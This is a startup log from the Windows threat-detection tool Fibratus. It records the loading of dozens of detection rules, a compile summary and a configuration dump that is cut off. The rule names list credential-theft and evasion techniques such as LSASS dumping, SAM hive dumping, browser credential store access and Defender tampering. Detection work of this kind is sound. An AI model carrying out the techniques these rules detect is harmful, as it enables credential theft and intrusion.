level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T17:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:02:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T17:02:39+01:00 level=info msg=bootstrapping with pid 13212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T17:02:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-mem=>false enable-handle=>false min-buffers=>16 enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-vamap=>true flush-interval=>1s max-buffers=>36 enable-net=>true enable-fileio=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-image=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info log-stdout=>true max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false flush-period=>1s index-name=>fibratus gzip-compression=>false timeout=>5s healthcheck=>true template-name=>fibratus healthcheck-interval=>10s trace-log=>false sniff=>false 